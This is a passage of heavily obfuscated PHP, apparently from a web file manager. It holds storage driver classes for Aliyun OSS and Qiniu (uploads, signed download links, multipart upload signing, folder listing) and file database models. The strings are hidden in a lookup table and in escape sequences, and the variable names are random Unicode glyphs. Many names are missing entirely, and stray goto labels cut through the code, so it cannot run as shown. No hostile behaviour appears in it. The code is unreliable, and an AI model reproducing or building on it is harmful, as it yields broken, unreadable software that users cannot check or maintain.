array(OSS\OssClient::OSS_HEADERS => $̉); $this->client->copyObject($this->bucket, $Ġ, $this->bucket, $Ġ, $); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][214] . $->getMessage()); return !1; } return !0; } public function upload($, $, $ = false, $ף = REPEAT_REPLACE) { $ݑ =& $_SERVER[ձК]; $ͮ = trim($, $ݑ[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($ݑ[1483] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->trafficLimit($ݑ[1489], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($ͮ), $, $); } catch (OSS\Core\OssException $ߎ) { $this->writeLog(__FUNCTION__ . $ݑ[214] . $ߎ->getMessage()); return !1; } return $this->getPathOuter($); } public function getHost() { $ʛ =& $_SERVER[ձК]; $ = explode($ʛ[210], parent::getHost()); return $[0] . $ʛ[210] . $this->bucket . $ʛ[10] . $[1]; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[ձК]; if (!($ = $this->getHost())) { return !1; } $ = $; $理 = date($[1491], time() + $); $ڡ = new DateTime($理); $ɖ = $ڡ->format(DateTime::ISO8601); $ = strpos($ɖ, $[373]); $ɖ = substr($ɖ, 0, $) . $[1492]; $ = 1048576000 * 5; $å = $this->pathFather($); $ۦ = array($[264] => $ɖ, $[267] => array(array($[1493], 0, $), array($[269], $[270], $å))); $ = base64_encode(json_encode($ۦ)); $ = base64_encode(hash_hmac($[1414], $, $this->secret, !0)); $ = array($[1494] => $this->accessKey, $[279] => $, $[272] => $[263], $[1495] => $, $[208] => $); $ = $this->trafficLimit($[1489], $, !0); return $; } public function uploadMultiData($뎸, $ = 3600) { $ڑ =& $_SERVER[ձК]; if (!($ = $this->getHost())) { return !1; } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($뎸)); return array($ڑ[283] => $, $ڑ[208] => $ . $ڑ[8] . $this->pathEncode($뎸), $ڑ[284] => gmdate($ڑ[1496]), $ڑ[97] => $뎸); } public function uploadMultiAuth($ށ, $ꩫ = array()) { if (isset($ꩫ[$_SERVER[ձК][285]])) { return $this->uploadPartAuth($ށ, $ꩫ); } return $this->uploadListAuth($ށ, $ꩫ); } private function uploadPartAuth($ޔ, $ = array()) { $˃ =& $_SERVER[ձК]; $ = $[$˃[97]]; $ = $this->_getUploadAuth($, $); $ۦ舄 = array($˃[288] => $[$˃[288]], $˃[284] => $[$˃[284]]); if (isset($[$˃[1497]])) { $ۦ舄[$˃[1497]] = $[$˃[1497]]; } return $ۦ舄; } private function uploadListAuth($, $ݦ = array()) { $ =& $_SERVER[ձК]; $ʟ߯ = $ݦ[$[97]]; $ = $ݦ[$[283]]; $ = $this->client->listParts($this->bucket, $this->pathEncode($ʟ߯), $); $ҭ = $->getListPart(); $Ɍ = array(); foreach ($ҭ as $û) { $Ɍ[] = array($[299] => $û->getPartNumber(), $[300] => trim($û->getETag(), $[121])); } if (!$Ɍ) { return !1; } $Ɖ = $this->_getUploadAuth($ʟ߯, $ݦ); return array($[288] => $Ɖ[$[288]], $[284] => $Ɖ[$[284]], $[291] => $Ɍ); } private function _getUploadAuth($̖ٝ, $) { $̑ =& $_SERVER[ձК]; $ = gmdate($̑[1496]); $ = isset($[$̑[285]]) ? $̑[255] : $̑[290]; $֯ = array_intersect_key($, array_flip(array($̑[285], $̑[283]))); ksort($֯); $Ɯ = $֯ ? $̑[76] . http_build_query($֯, null, $̑[286], PHP_QUERY_RFC3986) : $̑[12]; $ńݾ = array($, $̑[12], $̑[123], $, "\x78\x2d\157\x73\163\x2d\x64\141\x74\145\72{$}", $̑[8] . $this->bucket . $̑[8] . $̖ٝ . $Ɯ); if (isset($[$̑[285]])) { $ = $this->trafficLimit($̑[1489], array(), !0); if ($) { $̖ٝ = $̑[1497]; array_splice($ńݾ, 5, 0, $̖ٝ . $̑[4] . $[$̖ٝ]); } } $ˬ = implode($̑[287], $ńݾ); $ = base64_encode(hash_hmac($̑[1414], $ˬ, $this->secret, !0)); $ƧӁ = $̑[1466] . $this->accessKey . $̑[4] . $; $ = array($̑[288] => $ƧӁ, $̑[284] => $); if (!empty($)) { $ = array_merge($, $); } return $; } public function download($, $) { $ =& $_SERVER[ձК]; if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($[112], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $Р) { $this->writeLog(__FUNCTION__ . $[214] . $Р->getMessage()); return !1; } return $; } public function fileSubstr($Ύ, $ͧ = 0, $ = false) { if ($ͧ === -1) { $¿ = array(); } else { if ($ === !1) { $ҳ = $this->size($Ύ); } else { $ҳ = $ͧ + $ - 1; } $¿ = array(OSS\OssClient::OSS_RANGE => "{$ͧ}\55{$ҳ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($Ύ), $¿); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][214] . $->getMessage()); think_exception($->getMessage()); return !1; } } private function trafficLimit($ꇰ, $ء = array(), $屾ɼ = false) { $ =& $_SERVER[ձК]; if ($ꇰ == $[1489] && $this->isUploadServer() || $ꇰ == $[112] && $this->isFileOutServer()) { return $ء; } $ = floatval($GLOBALS[$[6]][$[92]][$[110]][$ꇰ]) * 1024 * 1024 * 8; if (!$) { return $ء; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); if ($屾ɼ) { $ء[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); } else { if (!isset($ء[OSS\OssClient::OSS_HEADERS])) { $ء[OSS\OssClient::OSS_HEADERS] = array(); } $ء[OSS\OssClient::OSS_HEADERS][OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); } return $ء; } public function link($Ý, $ܖꬢ = array()) { $ =& $_SERVER[ձК]; if (!$this->exist($Ý) || $this->isFolder($Ý)) { return !1; } try { $ܖꬢ = $this->trafficLimit($[112], $ܖꬢ, !0); $ = $this->client->signUrl($this->bucket, $this->pathEncode($Ý), 3600 * 12, $[1498], $ܖꬢ); return $this->getCdnLink($); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); return !1; } } public function fileOut($͂, $ΰ = false, $ֽ = false, $ = '') { $ =& $_SERVER[ձК]; if ($this->isFileOutServer()) { return $this->fileOutServer($͂, $ΰ, $ֽ, $); } if (!$ֽ) { $ֽ = $this->pathThis($͂); } $ֽ = rawurlencode($ֽ); $ĵ = get_file_mime(get_path_ext($ֽ)); if ($ĵ == $[250]) { return parent::fileOut($͂, $ΰ, $ֽ, $); } $ΰ = $ΰ ? $[1499] : $[1500]; $ҵߣ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1501] . rawurlencode("{$ΰ}\73\146\x69\x6c\145\156\x61\155\145\75{$ֽ}")); $ҵߣ[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1502] . rawurlencode($ĵ); $ţ = $this->link($͂, $ҵߣ); $this->fileOutLink($ţ); } public function fileOutServer($ъ, $ = false, $㉜ = false, $ƽ = '') { parent::fileOut($ъ, $, $㉜, $ƽ); } public function fileOutImage($ď, $⠸ = 250) { if ($this->size($ď) > 1024 * 1024 * 20) { return $this->fileOutImageServer($ď, $⠸); } $¥м = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ձК][1463] . $⠸); $הּЂ = $this->link($ď, $¥м); $this->fileOutLink($הּЂ); } public function fileOutImageServer($Уí, $ݺ = 250) { parent::fileOutImage($Уí, $ݺ); } public function fileOutLink($) { $Է =& $_SERVER[ձК]; if (!$this->isCdnHost() && substr($, 0, 7) == $Է[218]) { $ = $Է[219] . substr($, 7); } header($Է[175] . $); die; } public function hashMd5($Ŏ, $ = '') { $ =& $_SERVER[ձК]; $ = $this->_objectMeta($Ŏ); if (!$) { return $[12]; } if (!isset($[$[1483]]) && !empty($)) { $碈 = $this->updateObjMeta($Ŏ, array($[1483] => $)); $[$[1483]] = $碈 ? $ : $[12]; } return isset($[$[1483]]) ? strtolower($[$[1483]]) : $[12]; } public function size($Ř) { $ղ = $this->objectMeta($Ř); return $ղ ? $ղ[$_SERVER[ձК][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[ձК][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ձК][181], $); } protected function _objectMeta($ыō) { $ڋ =& $_SERVER[ձК]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($ыō)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ڋ[214] . $->getMessage()); $ = !1; } if ($) { $[$ڋ[79]] = intval($[$ڋ[1481]]); } return $; } protected function _isFolder($Ƅ) { $ؖԊ =& $_SERVER[ձК]; if ($Ƅ == $ؖԊ[12] || $Ƅ == $ؖԊ[8]) { return !0; } $ = array($ؖԊ[1476] => $ؖԊ[8], $ؖԊ[1477] => rtrim($Ƅ, $ؖԊ[8]) . $ؖԊ[8], $ؖԊ[1478] => 1, $ؖԊ[1479] => $ؖԊ[12]); $֊ = $this->client->listObjects($this->bucket, $); if ($֊->getObjectList() || $֊->getPrefixList()) { return !0; } return !1; } public function writeLog($إ = '', $ = false) { $挔 =& $_SERVER[ձК]; $ĠȬ = in_array(ACTION, array($挔[212], $挔[213])); if (!$ĠȬ && !GLOBAL_DEBUG) { return; } $گ = 0; if (stripos($إ, $挔[1503]) !== !1) { $گ = 1; $ = explode($挔[1504], $إ); $إ = !empty($[1]) ? $[1] : $إ; } else { if (stripos($إ, $挔[1505])) { $گ = 2; $ = explode($挔[1505], $إ); $ = explode($挔[4], $[0]); $إ = !empty($[1]) ? $[1] : $إ; } } if ($ĠȬ && I18n::getType() == $挔[1506]) { if ($گ == 1) { $إ = str_replace($挔[1507], $挔[1508], $إ); } else { if ($گ == 2) { $ = explode($挔[214], $[0]); $ = isset($[1]) ? $[1] : $挔[12]; $ڹ = array($挔[1509] => $挔[1510], $挔[1511] => $挔[1512], $挔[1513] => $挔[1514], $挔[1515] => $挔[1516], $挔[1517] => $挔[1518], $挔[1519] => $挔[1520], $挔[1521] => $挔[1522], $挔[1523] => $挔[1524], $挔[1525] => $挔[1526], $挔[1527] => $挔[1528]); if (isset($ڹ[$])) { $إ = $ڹ[$]; } } } if (stripos($إ, $挔[1529])) { $إ = $挔[1530]; } } if (!trim($إ)) { return; } parent::writeLog(trim($إ), $); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $config = array(); public function __construct($觡) { parent::__construct(); require_once SDK_DIR . $_SERVER[ձК][1531]; $this->_init($觡); } public function _init($۬) { $đǍ =& $_SERVER[ձК]; $this->config = $۬; foreach ($۬ as $ => $簫) { if (isset($this->{$})) { $this->{$} = $簫; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($đǍ[1532] . LNG($đǍ[1467])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($쭌, $ҝ = '', $먯䋼 = REPEAT_RENAME) { if ($this->setContent($쭌, $ҝ)) { return $this->getPathOuter($쭌); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[ձК]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $[8]; $͓դ = get_path_this($); $Ԙ = $ . $͓դ; if (!$this->mkfile($Ԙ)) { return !1; } if (!$this->moveFile($Ԙ, $)) { $this->delFile($Ԙ); return !1; } return $this->getPathOuter($); } public function copyFile($݇, $) { $ = $this->bucketManager->copy($this->bucket, $݇, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function moveFile($ϣ, $ƛ) { $ = $this->bucketManager->move($this->bucket, $ϣ, $this->bucket, $ƛ, !0); return $ ? !1 : $this->getPathOuter($ƛ); } public function delFile($ƿ) { if (!$this->exist($ƿ)) { return !0; } $DZ = $this->bucketManager->delete($this->bucket, $ƿ); if (!$DZ) { return !0; } return $DZ->code() == 612 ? !0 : !1; } public function delFolder($) { $ױ =& $_SERVER[ձК]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ȇ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $ױ[8]) . $ױ[8]; if (!empty($) && $ !== $ױ[230] && !in_array($, $ȇ[$ױ[85]])) { $ȇ[$ױ[85]][] = $; } $Տ = $this->delByBatch($ȇ[$ױ[86]]); if (!$Տ) { return !1; } $Տ = $this->delByBatch($ȇ[$ױ[85]]); if (!$Տ) { return !1; } return $this->delFile($); } private function delByBatch($ݺ) { foreach (array_chunk($ݺ, 1000) as $͚) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $͚); list($̲, $ƶ) = $this->bucketManager->batch($); if ($ƶ) { return !1; } } return !0; } public function rename($Ì, $) { return $this->renameObject($Ì, $); } public function fileInfo($, $‒ = false, $ⅾ = array()) { $跮 =& $_SERVER[ձК]; $ = array($跮[32] => $this->pathThis($), $跮[87] => $this->getPathOuter($跮[8] . $), $跮[33] => $跮[232], $跮[79] => isset($ⅾ[$跮[1533]]) ? $ⅾ[$跮[1533]] : 0, $跮[169] => $this->ext($)); if ($‒) { return $; } $[$跮[233]] = $[$跮[88]] = 0; $[$跮[234]] = $[$跮[235]] = !0; if (empty($ⅾ)) { $ⅾ = $this->objectMeta($); if (!$ⅾ) { return $; } } if (isset($ⅾ[$跮[236]]) && $ⅾ[$跮[236]]) { $[$跮[237]] = $ⅾ[$跮[236]]; } if (isset($ⅾ[$跮[247]]) && $ⅾ[$跮[247]]) { $[$跮[237]] = $ⅾ[$跮[247]]; } if (isset($ⅾ[$跮[1534]])) { $[$跮[88]] = substr($ⅾ[$跮[1534]] . $跮[12], 0, 10); } if (isset($ⅾ[$跮[1533]])) { $[$跮[79]] = $ⅾ[$跮[1533]]; } return $; } public function folderInfo($ݠ, $Ա = false) { $ =& $_SERVER[ձК]; $ = array($[32] => $this->pathThis($ݠ), $[87] => $this->getPathOuter($[8] . $ݠ), $[33] => $[78]); if ($Ա) { return $; } $[$[233]] = $[$[88]] = 0; $[$[234]] = $[$[235]] = !0; $ݠ = rtrim($ݠ, $[8]) . $[8]; $ = $this->objectMeta($ݠ); if (isset($[$[1534]])) { $[$[88]] = substr($[$[1534]] . $[12], 0, 10); } return $; } public function listPath($, $߄ = false) { $ =& $_SERVER[ձК]; $ = $this->fileList($, $[8], !0); foreach ($[$[85]] as $ => $Ǫ) { $[$[85]][$] = $this->folderInfo($Ǫ, $߄); } foreach ($[$[86]] as $ => $Ǫ) { $[$[86]][$] = $this->fileInfo($Ǫ[$[97]], $߄, $Ǫ); } return $; } public function has($̇, $â = false, $ϓ = true) { $֪ =& $_SERVER[ձК]; $̇ = trim($̇, $֪[8]); $ٛ = empty($̇) && $̇ !== $֪[230] ? $֪[12] : $̇ . $֪[8]; $ӳ = $֪[12]; $Ţ = 500; $ꄽ = $֪[8]; $Ε = $䪻 = 0; while (!0) { check_abort(); list($΄, $) = $this->bucketManager->listFiles($this->bucket, $ٛ, $ӳ, $Ţ, $ꄽ); if ($) { break; } $ӳ = array_key_exists($֪[1479], $΄) ? $ӳ = $΄[$֪[1535]] : $֪[12]; if ($â) { if (!empty($΄[$֪[1536]])) { $Ε += count($΄[$֪[1536]]); } if (!empty($΄[$֪[1537]])) { $䪻 += count($΄[$֪[1537]]); } if ($ӳ === $֪[12]) { break; } continue; } if ($ϓ) { if (!empty($΄[$֪[1536]])) { return !0; } } else { if (!empty($΄[$֪[1537]])) { return !0; } } if ($ӳ === $֪[12]) { break; } } if ($â) { return array($֪[241] => $Ε, $֪[242] => $䪻); } return !1; } public function listAll($) { $Àَ =& $_SERVER[ձК]; $ = $this->fileList($, $Àَ[12], !0); $ƨɂ = array_to_keyvalue($[$Àَ[86]], $Àَ[32]); foreach ($[$Àَ[85]] as $) { if (is_string($)) { $ƨɂ[$] = array($Àَ[79] => 0); } } return $this->listAllFiles($, $ƨɂ); } private function fileList($ځ֞, $ = '', $ĝ = 0) { $ =& $_SERVER[ձК]; $ځ֞ = trim($ځ֞, $[8]); $➘ = empty($ځ֞) && $ځ֞ !== $[230] ? $[12] : $ځ֞ . $[8]; $ = $[12]; $ = 1000; $ʹ = $Ė = array(); while (!0) { check_abort(); list($ⴰ, $) = $this->bucketManager->listFiles($this->bucket, $➘, $, $, $); if ($) { break; } $ = array_key_exists($[1479], $ⴰ) ? $ = $ⴰ[$[1535]] : $[12]; $ӡԹ = isset($ⴰ[$[1536]]) ? $ⴰ[$[1536]] : array(); $з = isset($ⴰ[$[1537]]) ? $ⴰ[$[1537]] : array(); foreach ($ӡԹ as $) { if ($[$[97]] == $➘) { continue; } $ѭ = $[$[97]]; $Դף = $[$[1533]]; $[$[79]] = $Դף; $ = $Դף == 0 && substr($ѭ, strlen($ѭ) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($ѭ, $, $); if ($) { $ʹ[] = $ѭ; continue; } $Ė[] = $ĝ ? $ : $ѭ; } foreach ($з as $ѭ) { if ($ѭ == $➘) { continue; } $ʹ[] = $ѭ; $this->cacheMethodInfoSet($ѭ, !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($ځ֞, !0); return array($[85] => $ʹ, $[86] => $Ė); } public function canRead($骰) { return $this->exist($骰) ? !0 : !1; } public function canWrite($䈛) { return $this->exist($䈛) ? !0 : !1; } public function getContent($݉) { return $this->fileSubstr($݉, 0, -1); } public function setContent($ŭ, $Þ = '') { $ؿ = $this->tempFile($this->pathThis($ŭ)); file_put_contents($ؿ, $Þ); if ($this->upload($ŭ, $ؿ)) { $this->tempFileRemve($ؿ); return !0; } return !1; } public function refreshUrls($œ) { $Ѳ =& $_SERVER[ձК]; $ = array(); if (is_array($œ)) { foreach ($œ as $) { $[] = $this->link($); } } else { $[] = $this->link($œ); } $ȚǍ = new Qiniu\Cdn\CdnManager($this->auth); list($, $Ƃ) = $ȚǍ->refreshUrls($); if ($Ƃ) { return !1; } return $[$Ѳ[1266]] == $Ѳ[833] ? !0 : !1; } public function fileSubstr($ҟ, $, $ע) { $ =& $_SERVER[ձК]; if (!($ = $this->link($ҟ))) { return !1; } $쁅 = !1; if ($ע > 0) { $ṥ = $ + $ע - 1; $쁅 = array($[1538] . $ . $[464] . $ṥ); } $߿ = url_request($, $[1498], !1, $쁅); return $߿[$[824]] ? $߿[$[1289]] : !1; } public function upload($Ϲǐ, $, $Ђ = false, $à = REPEAT_REPLACE) { $߭ѡ = new Qiniu\Storage\UploadManager(); $䖃 = $this->auth->uploadToken($this->bucket, $Ϲǐ); $Ϧ = get_file_mime(get_path_ext($)); list($, $Ҹ) = $߭ѡ->putFile($䖃, $Ϲǐ, $, null, $Ϧ); return $Ҹ ? !1 : $this->getPathOuter($Ϲǐ); } public function uploadFormData($, $廡 = 3600) { return $this->uploadToken($, $廡); } public function uploadMultiData($ڽ, $ʪ = 3600) { return $this->uploadToken($ڽ, $ʪ); } private function uploadToken($, $뉷 = 3600) { $̈ =& $_SERVER[ձК]; $ = $뉷; $ = array($̈[1539] => $̈[1540]); $ڇ = $; $ = $this->auth->uploadToken($this->bucket, $ڇ, $, $, !0); $Ġ = empty($this->region) || $this->region == $̈[1541] ? $̈[12] : $̈[464] . $this->region; $״ = http_type() . "\x3a\57\57\x75\x70\154\x6f\141\144{$Ġ}\x2e\161\151\156\151\165\160\x2e\143\x6f\x6d\x2f"; return array($̈[1542] => $, $̈[1543] => $״); } public function download($ٮ, $̟) { $ = IO::getPathInner(IO::mkfile($̟)); if (!($³ = $this->link($ٮ))) { return !1; } $ = 0; $ď = 1024 * 200; $ = fopen($, $_SERVER[ձК][1544]); while (!0) { $ = $this->fileSubstr($ٮ, $, $ď); if ($ === !1) { return !1; } fwrite($, $); $ += $ď; if (strlen($) < $ď) { break; } } fclose($); return $̟; } public function link($, $ = '') { if (!$this->isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[ձК][8] . $this->pathEncode($) . $; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($, $꿐 = false, $Ø = false, $ = '') { $涹 =& $_SERVER[ձК]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $꿐, $Ø, $); } if (!$Ø) { $Ø = $this->pathThis($); } $șҶ = $꿐 ? $涹[1545] . rawurlencode($Ø) : $涹[12]; $ˤ = $this->link($, $șҶ); $this->fileOutLink($ˤ); } public function fileOutServer($蚴, $ܫ = false, $ = false, $ = '') { parent::fileOut($蚴, $ܫ, $, $); } public function fileOutImage($릃, $ޞ = 250) { if ($this->size($릃) > 1024 * 1024 * 20) { return $this->fileOutImageServer($릃, $ޞ); } $۬ = $this->link($릃, $_SERVER[ձК][1546] . $ޞ); $this->fileOutLink($۬); } public function fileOutImageServer($藪, $ = 250) { parent::fileOutImage($藪, $); } public function hashMd5($Рތ) { $ǔ䒪 =& $_SERVER[ձК]; $ = $this->objectMeta($Рތ); return isset($[$ǔ䒪[247]]) ? $[$ǔ䒪[247]] : !1; $܍ = $this->link($Рތ, $ǔ䒪[1547]); } public function size($Η) { $ژ = $this->objectMeta($Η); return $ژ ? $ژ[$_SERVER[ձК][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ا) { return $this->isFile($ا) || $this->isFolder($ا); } public function isFile($귢) { return !$this->isFolder($귢) && $this->objectMeta($귢); } public function isFolder($Ʈ) { return $this->cacheMethod($_SERVER[ձК][179], $Ʈ); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ձК][181], $); } protected function _objectMeta($) { $Ɨ =& $_SERVER[ձК]; list($磅, $) = $this->bucketManager->stat($this->bucket, $); if ($磅) { $磅[$Ɨ[79]] = intval($磅[$Ɨ[1533]]); } return $磅; } protected function _isFolder($ܭ) { $Þ =& $_SERVER[ձК]; if ($ܭ == $Þ[12] || $ܭ == $Þ[8]) { return !0; } list($ӽ, $۴) = $this->bucketManager->listFiles($this->bucket, trim($ܭ, $Þ[8]) . $Þ[8], $Þ[12], 1, $Þ[8]); return !empty($ӽ[$Þ[1536]]) || !empty($ӽ[$Þ[1537]]) ? !0 : !1; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ݺ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $ݺ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($܁ = false) { return $this->fileSubstr($܁, 0, $this->sourceSize); } public function fileSubstr($Ἳ = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ͦ = $this->sourceSize - $; if ($ >= $ͦ) { $ = $ͦ; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[ձК][12]; } $š֮ = ftell($this->source); fseek_64($this->source, $š֮ + $); $ = @fread($this->source, $); fseek_64($this->source, $š֮); return $; } } public function hashMd5($ҩ = false) { return md5($this->getContent()); } public static function hash($̈, $Ή = 0) { $ۉж = new PathDriverStream($̈, $Ή); return $ۉж->hashSimple($̈); } public static function md5($, $៝ = 0) { $ñ = new PathDriverStream($, $៝); return $ñ->hashMd5($); } } goto D; D̊: class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x66\x69\x6c\145\137\143\x6f\156\164\x65\156\164\163"; protected $dataAuto = array(array("\143\x72\145\x61\x74\145\124\151\155\145", "\164\x69\155\145", "\151\x6e\163\x65\162\164", "\146\165\156\143\164\151\157\x6e")); } class FileModel extends ModelBase { protected $tableName = "\151\157\137\x66\x69\154\145"; protected $tableMeta = array("\x74\141\x62\x6c\145\116\x61\155\x65" => "\x69\x6f\137\x66\x69\154\145\137\x6d\x65\164\x61", "\155\145\164\x61\106\151\x65\154\144" => "\146\151\154\x65\111\x44"); public function fileInfo($) { $ =& $_SERVER[ձК]; static $ǖ = array(); if (!isset($ǖ[$])) { $ୀ = $[2029]; $ = Model($[546])->field($ୀ)->where(array($[544] => $))->find(); $ǖ[$] = $; } return $ǖ[$]; } public function addFileByContent($ܸ = '', $ = '') { $ׄ =& $_SERVER[ձК]; $ = TEMP_PATH . $ׄ[2030]; if (!is_dir($)) { mk_dir($); } $ = $ . $ׄ[2031] . rand_string(16); file_put_contents($, $ܸ); $ׁ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $ׁ; } public function createFileName($, $Ά = false, $ = false) { $䁐ˌ =& $_SERVER[ձК]; $Ӝ = IO::init($䁐ˌ[8]); $׀ڤ = $this->makeFilePath($, $Ӝ, $Ά, $); $ꂁ = $Ӝ->pathFather($׀ڤ); static $ = false; $ = $䁐ˌ[2032] . md5($ꂁ); if (!$ && !Cache::get($)) { $ = !0; $ˀ = IO::mkdir($ꂁ); if (!IO::exist($ˀ . $䁐ˌ[872])) { IO::mkfile($ˀ . $䁐ˌ[872]); } Cache::set($, 1, 3600 * 2); } return $׀ڤ; } public function makeFilePath($, $, $῝ = false, $ӽ = false) { $ =& $_SERVER[ձК]; $ʤ = Model($[844])->get($[2033]); $ = KodIO::defaultIO() . date($[2034]); $Ņ = $ . rand_string(5) . short_id(100); $ = str_replace($[8], $[11], KodIO::clear($)); $γ = $->ext($); if (!$) { $ʤ = $[850]; } switch ($ʤ) { case $[2035]: if ($γ) { $Ņ = $Ņ . $[10] . $γ; } if ($γ == $[1970]) { $Ņ .= $[1293]; } break; case $[2036]: $Բ = Model($[844])->get($[845]); $ = substr(md5($[846] . $Բ . date($[823])), 0, 8); $ = KodIO::defaultDriver(); $ = $[1324] . $[$[477]] . $[486] . date($[2037]) . $ . $[8]; if ($γ == $[1970]) { $ .= $[1293]; } $ = $[2038] . $ . $; CacheLock::lock($); $Ņ = $ . $; if (IO::exist($ . $)) { $ʽ = substr($, 0, strlen($) - strlen($γ)); $ = $ӽ ? substr($ӽ, 0, 5) : ($῝ ? substr($῝, 0, 5) : rand_string(5)); $Ņ = $ . $ʽ . $; if ($γ) { $Ņ = $Ņ . $[10] . $γ; } } if (IO::isOsDriver($Ņ) && !IO::isUploadServer($Ņ)) { if (IO::exist($Ņ)) { CacheLock::unlock($); return $Ņ; } $ = IO::setContent($Ņ, $[12]); if (!$) { show_json($[2039], !1); } } CacheLock::unlock($); break; case $[850]: break; default: break; } return $Ņ; } public function addFileByRemote($, $랳, $˥ = array()) { $ =& $_SERVER[ձК]; if (!IO::exist($)) { return !1; } $ޠ = $˥[$[549]] ? $˥[$[549]] : $[12]; $ý = IO::hashMd5($, $ޠ); $ = KodIO::defaultDriver(); $顝 = array($[622] => IO::size($), $[2040] => 1, $[496] => $랳, $[883] => $[$[477]], $[497] => $, $[2041] => $˥[$[677]] ? $˥[$[677]] : IO::hashSimple($), $[2042] => $ý ? $ý : $ޠ); if ($ = $this->addFileCheckExist($顝[$[677]], $顝[$[549]], $顝[$[79]])) { return $; } return $this->addFileData($顝); } private function addFileData($) { $ =& $_SERVER[ձК]; if (!$) { return !1; } $[$[79]] = intval($[$[79]]); if (!$[$[79]] && strlen($[$[677]]) > 32) { $[$[79]] = intval(substr($[$[677]], 32)); } $Ӕ = $this->add($); return $this->find($Ӕ); } public function addFile($, $ܸ, $Ԋ = false) { $๗ =& $_SERVER[ձК]; $Ӂ = IO::hashSimple($); $ = IO::size($); $ߓ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $๗[12]; $ϸ = $๗[2043] . $Ӂ; CacheLock::lock($ϸ); if ($ߓ && $Ӂ) { $ = $this->addFileCheckExist($Ӂ, $ߓ, $); if ($) { CacheLock::unlock($ϸ); return $; } } $ = $this->addFileMake($, $, $Ӂ, $ߓ, $ܸ, $Ԋ); $Ϯ = $this->addFileData($); CacheLock::unlock($ϸ); if (!$ߓ && $Ϯ) { $this->fileMd5Check($Ϯ); } return $Ϯ; } public function fileMd5Check($) { $枑 =& $_SERVER[ձК]; $Ǿч = array($[$枑[543]], $[$枑[87]]); $ = $枑[2044] . $[$枑[87]]; $ = $枑[2045] . $[$枑[543]]; TaskQueue::add($枑[2046], $Ǿч, $, $); } public function fileMd5Set($ס, $) { $击 =& $_SERVER[ձК]; $ӫ = $this->find($ס); if (!$ӫ || $ӫ[$击[549]]) { return; } $ϓ = IO::hashMd5($); if (!$ϓ) { return $击[12]; } $this->where(array($击[543] => $ס))->save(array($击[549] => $ϓ)); } public function addFileMake($, $ޖ, $, $Ҹ, $ׁ, $垗) { $ܽ =& $_SERVER[ձК]; $؆ = $this->createFileName($ׁ, $, $Ҹ); $۹ = get_path_father($؆); $ԁ = get_path_this($؆); if ($垗) { $ = IO::move($, $۹, !1, $ԁ); } else { $ = IO::copy($, $۹, !1, $ԁ); } if (!$) { return !1; } $Ѡ = KodIO::defaultDriver(); $ = 